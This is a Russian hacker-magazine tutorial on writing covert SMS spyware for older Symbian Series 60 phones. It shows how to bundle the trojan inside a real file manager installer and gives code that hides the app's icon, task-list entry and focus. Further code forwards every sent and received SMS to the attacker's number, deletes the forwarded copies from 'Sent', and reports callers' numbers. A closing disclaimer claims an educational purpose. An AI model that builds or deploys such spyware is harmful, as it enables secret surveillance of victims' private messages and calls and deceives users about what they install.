<%=Replace(ConvertFormXml(GetUrl("http://votes.glc.ru/xml.asp?code=VVT1480", "", ""), "D:\morazm\www\code\xakep\include\vote_art.xsl", 2), "[%USERIP%]", Request.ServerVariables("REMOTE_ADDR"), 1, vbTextCompare) %>

В девятом номере прошлогоднего «Хакера» мы рассмотрели кодинг простенького sms-трояна для смартфонов на базе Symbian 6.X-8.X Series60. Он мог перехватывать и отправлять все входящие/исходящие sms на номер хакера. Сегодня мы подробнее рассмотрим методологию разработки подобного функционала и добавим новые возможности.

Как мы уже писали ранее, наиболее распространенной платформой для смартфонов (60% рынка) является Series 60 финского гиганта Nokia. Успех моделей, разработанных на основе этой платформы, обуславливают относительная дешевизна, удобство использования, функциональность и куча разных моделей. Кроме того, девелоперы получили серьезную поддержку при разработке стороннего ПО для мобил на базе Symbian в виде весьма внятной документации (на английском языке), приличного количества ресурсов и широкого спектра API-функций, позволяющих осуществлять доступ к системным функциям телефона. Последний факт позволил разработчикам создавать не только тупые аркады, но и вполне серьезные приложения,
расширяющие функциональность. Доступ к системным функциям интересен также и всяким нехорошим хакерам, желающим наваять какую-нибудь гадость вроде Cabir.

Однако с выходом девятой версии ОС случился жесточайший облом. Новая система безопасности и сертификации Symbian подразумевает возможность доступа к системным API лишь при наличии Symbian-Signed-сертификата, получить который можно только после проверки приложения ребятами из Symbian. Думаю, им вряд ли удастся внятно объяснить, почему нашему «файловому менеджеру» неожиданно потребовался доступ к функционалу отправки сообщений. Именно поэтому приложение, которое мы сегодня напишем, будет ориентировано на более ранние версии ОС, благо новая операционка пока еще не сильно распространена (а тем более если принять во внимание еще и огромный рынок б/у моделей ;)).

 

Инструментарий

В процессе разработки мы задействуем проверенную временем связку: Microsoft Visual Studio.NET 2003 + Carbide.VS (о ее преимуществах и использовании мы уже писали ранее). Что касается SDK, то здесь лучшим выбором будет SDK Series 60 2.0. Кроме того, если ты собрался серьезно кодить под Симбу, тебе наверняка потребуется документация из SDK, а также литература, приведенная во врезке.

 

Определяемся с функционалом

Понятное дело, что написание всякого шпионского ПО как для настольных систем, так и для мобильных устройств несколько специфично. В частности, нормальный шпион должен работать максимально прозрачно для жертвы и обладать следующими особенностями:

  • автоматический запуск при старте мобилы;
  • удаление копий отправленных sms из папки «Отправленные»;
  • незаметность работы;
  • отсутствие иконки приложения в Task Manager.

Что касается, собственно, функционала, то предлагаю рассмотреть вариант разработки программы, отправляющей копии входящих/исходящих sms на заданный номер, а также сигнализирующей хакеру о входящем/исходящем звонке посредством sms с отправкой на тот же номер информации о звонящем/адресате.

 

Прячем от глаз

Перед хакером, желающим впарить гадость, часто стоит проблема: как заставить юзера установить вредоносную программу так, чтобы тот ничего не заподозрил?

Недавно в Сети появился троян, который рассылал платные sms на короткий номер. Его распространяли следующим образом. На сайте dimonvideo.ru (кстати, привет авторам этого нехорошего ресурса, с вас ящик пива за пиар) есть раздел, куда пользователи могут выкладывать программки для всеобщего обозрения. Так вот, автор троя выдавал свою шнягу за какую-то полезную софтину, немало заработав на этом деле, поскольку программа при запуске первым делом отправляла sms стоимостью в 100 рублей. Понятное дело, что юзер, заметив, что программка, мягко говоря, не та, за которую себя выдает, сносил эту гадость.

Однако в тайных подземельях злокодеров есть способ и получше: зашить нехорошую программу в работоспособную и полезную софтину. Пусть пользователь радуется, что скачал крутой файловый менеджер, не подозревая, что в него зашита программка, которая за ним следит.

Рассмотрим, как именно плохие люди это делают. За сборку приложения в инсталляционный файл, как ты знаешь, отвечает *.pkg–файл, в котором прописывается, какие файлы и куда должны быть помещены на мобиле в момент установки программы. Так вот, в этот файл можно добавить следующую строку:

@"eFileMan.sis",(0x101F4284)

Это означает, что в текущую инсталляцию будет включен файл eFileMan.sis, который во время сборки находится у тебя там же, где и конфиг. 0x101F4284 – это UID подключаемого приложения, который можно узнать, запустив программу SIS Xplode, показывающую UID любого приложения под Symbian.

Теперь, после создания сборки, можешь смело переименовывать ее из какого-нибудь там megaTroy.sis в eFileMan.sis, и юзер будет уверен, что устанавливает файловый менеджер, как во время, так и после установки, поскольку пресловутый eFileMan также установится и будет отображаться в меню приложения. Если же пользователь захочет удалить eFileMan, он без труда сможет это сделать, оставив в сохранности зловредную программу.

Далее, хакеры обычно скрывают шпионскую программу от глаз пользователя. Для этого нужно модифицировать файл информации о приложении, хранящийся в папке AIF и имеющий имя вида OurMegaAppaif.rss. Делается это следующим образом:

RESOURCE AIF_DATA
{
app_uid=0x0871aba4; //
уникальный идентификатор приложения
...
hidden = KAppIsHidden; //
прячем иконку
}

Вот и все, иконка приложения из меню смартфона бесследно исчезла.
После этого программисты переопределяют виртуальную функцию UpdateTaskNameL класса AppUi, которая отвечает за отображение приложения в тасклисте. Для этого они добавляют в заголовочный файл документа в объявление класса Document строку:

virtual void UpdateTaskNameL(CApaWindowGroupName* aWgName);

После этого в реализацию класса документа они вставляют:

void CXaSMSDocument::UpdateTaskNameL(CApaWindowGroupName* aWgName) 
//конструкция :: играет роль namespace
{
CAknDocument::UpdateTaskNameL(aWgName); 
//вызывается системная функция UpdateTaskNameL
aWgName->SetHidden(ETrue); 
//прячем приложение из контакт-листа
aWgName->SetSystem(ETrue); 
}

А в конструктор класса AppUI вписываются следующие строки:

void CXaSMSAppUi::ConstructL()
{
BaseConstructL();
//приложение никогда не может получить фокус
CEikonEnv::Static()->RootWin().EnableReceiptOfFocus(EFalse); 
CEikonEnv::Static()->RootWin().SetOrdinalPosition(-1000, ECoeWinPriorityNeverAtFront);
...
}

Это необходимо для того, чтобы приложение никогда не могло получить фокус, в том числе если жертва найдет в файловой системе исполняемый файл.

Все, теперь приложение невидимо ни в тасклисте, ни в меню смартфона, и запустить его нельзя, даже кликая на исполняемый файл. Осталось только приделать автозапуск, используя разработку ezboot. Об этом мы уже неоднократно писали, советую посмотреть «Кодинг» сентябрьского, ноябрьского и декабрьского номеров «Хакера» и «Хакер Спец» за ноябрь.

 

Перехват входящих и исходящих sms

Механизм работы следующий: хакерская программа мониторит все входящие и исходящие sms и моментально отправляет их копии на номер хакера, удаляя их из папки «Отправленные».

Для реализации этого функционала программисту надо будет сделать sms-движок, являющийся классом, унаследованным от MMsvSessionObserver. Называться этот движок будет, к примеру, CXaMegaFuck. Реализацию движка можно увидеть в проекте на диске.

Особый интерес представляет метод HandleSessionEventL, поскольку именно он служит для отлова событий типа: «перемещение sms из одной папки в другую», «создание sms» и т.п. К примеру, отлов исходящего sms осуществляется очень просто. Когда sms отправляется, его копия всегда помещается сначала в папку «Исходящие», а после этого уже в папку «Отправленные». В HandleSessionEventL мы отлавливаем эти манипуляции следующим образом:

void CXaMegaFuck::HandleSessionEventL(TMsvSessionEvent aEvent, TAny* aArg1, TAny* aArg2, TAny* aArg3)
 {
 switch (aEvent)
//aEvent – событие сервера сообщений
 {
	case EMsvEntriesMoved:
	if((*static_cast(aArg3)==KMsvDraftEntryId)&&(*static_cast(aArg2)==KMsvSentEntryId))
	//если сообщение перемещено из черновиков в отправленные, 
	//значит, эту sms создал троян и его надо удалить
	{
		TRAPD(error,DeleteMessageL( KMsvSentEntryId ));
		if(error)
		{
		}
 		}
			if((*static_cast(aArg3)==KMsvGlobalOutBoxIndexEntryId)&&
			(*static_cast(aArg2)==KMsvSentEntryId)&&(!iRunning))
			//если sms перемещено из папки «Исходящие» в папку «Отправленные», 
			//значит, sms отправил юзер и его надо получить
	{
		//составляем отправляемое хакеру сообщение
		CreateDraftSMSL(iAddress, aMessage);
		SendSMSL();
		DeleteMessageL( KMsvSentEntryId );
	}
			
	break;
}
}

Код этот достаточно простой и не требует дополнительных комментариев. В результате его выполнения при отправке пользователем sms будет создана его копия вида:

To:+79031111111 Текст сообщения

Собственно, текст сообщения формируется следующим образом:

iSession->GetEntry((*entries)[entries->Count()-1],owningServiceId,messageEntry);
//записываем хэндл сообщения в messageEntry
TMsvId iSmsId = messageEntry.Id();
iSmsMtm->SwitchCurrentEntryL(iSmsId);
iBody.Copy(iSmsMtm->Entry().Entry().iDescription); //
в переменную iBody будет записан текст отправленного sms

Затем sms отправляется хакеру и удаляется из папки «Отправленные». Аналогичный код приведен в описании HandleSessionEventL для отлова входящих sms. Код можешь посмотреть на диске.

 

Отлов звонков

Для отлова вызовов нам также понадобится отдельный класс, который будет обладать свойством iActive, являющимся экземпляром класса CActiveIncomingCallObserver, унаследованным от CActive.

В конструктор AppUi мы добавим создание объекта движка, в результате чего будет создан и iActive, который будет слушать поступающие звонки. Код, который выполняется в случае звонка, помещается в метод CActiveIncomingCallObserver::RunL() (кстати, рекомендую изучить документацию по CActive).

void CActiveIncomingCallObserver::RunL()
{
	if (iStatus == KErrNone)
	{
		if (iCallActive)
		{
			if (iCallStatus == RCall::EStatusIdle)
			{
			//разговор в процессе, можно, 
			//например, попытаться записать его на флешку =)
			}
			else
			{
				iCall.NotifyStatusChange(iStatus, iCallStatus);
			}
		}
		else
		{
		 //Поступил вызов, получаем номер звонящего и отправляем sms =)	
		}
		SetActive();//запускаем механизм отлова звонка снова
	}
}

При этом, собственно, получение номера звонящего выглядит примерно так:

RMobileCall::TMobileCallInfoV1 callInfo;
RMobileCall::TMobileCallInfoV1Pckg callInfoPckg(callInfo);
User::LeaveIfError(iCall.GetMobileCallInfo(callInfoPckg));
TBuf<64> remoteNumber; //
переменная для записи номера звонящего
remoteNumber.Copy(callInfo.iRemoteParty.iRemoteNumber.iTelNumber);
 

Заключение

Как видишь, создание зловредного программного обеспечения для современных мобил – совсем несложное дело. Есть люди, которые зарабатывают на этом немалые деньги. Описанный выше случай с отправкой вредоносной программой платных sms примитивен, но весьма показателен. В частности, мне поступало предложение за весьма внушительную сумму разработать программку, которая могла бы управляться хакером посредством sms-команд. Конечно же, я отказался, чего и тебе советую. Зарплата у разработчиков мобильного ПО и так выше, чем в среднем на рынке, поэтому мы в состоянии зарабатывать на батон хлеба с кружкой кваса и без всякой незаконной хрени.

Рекомендованная литература

Symbian OS C++ for Mobile Phones, Volume 2 : Inside OS v. 7.0(s) (Symbian Press), Leigh Edwards, Richard Barker – неплохая книжка, в которой описаны основные концепции кодинга под Симбиан.

Developing Series 60 Applications : A Guide for Symbian OS C++ Developers (Nokia Mobile Developer) – в отличие от предыдущей книжки, здесь много хороших практических примеров.

 

WARNING

Слежка за людьми и разработка вредоносного ПО – наказуемое дело! Не стоит забывать, что все действия хакера противозаконны, и эта статья предназначена лишь для ознакомления и организации правильной защиты с твоей стороны. За применение материала в незаконных целях автор и редакция ответственности не несут.


Полную версию статьи
читай в июльском номере Хакера, все исходники к статье выложены на нашем диске (в образовательных целях).

  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    0 комментариев
    Межтекстовые Отзывы
    Посмотреть все комментарии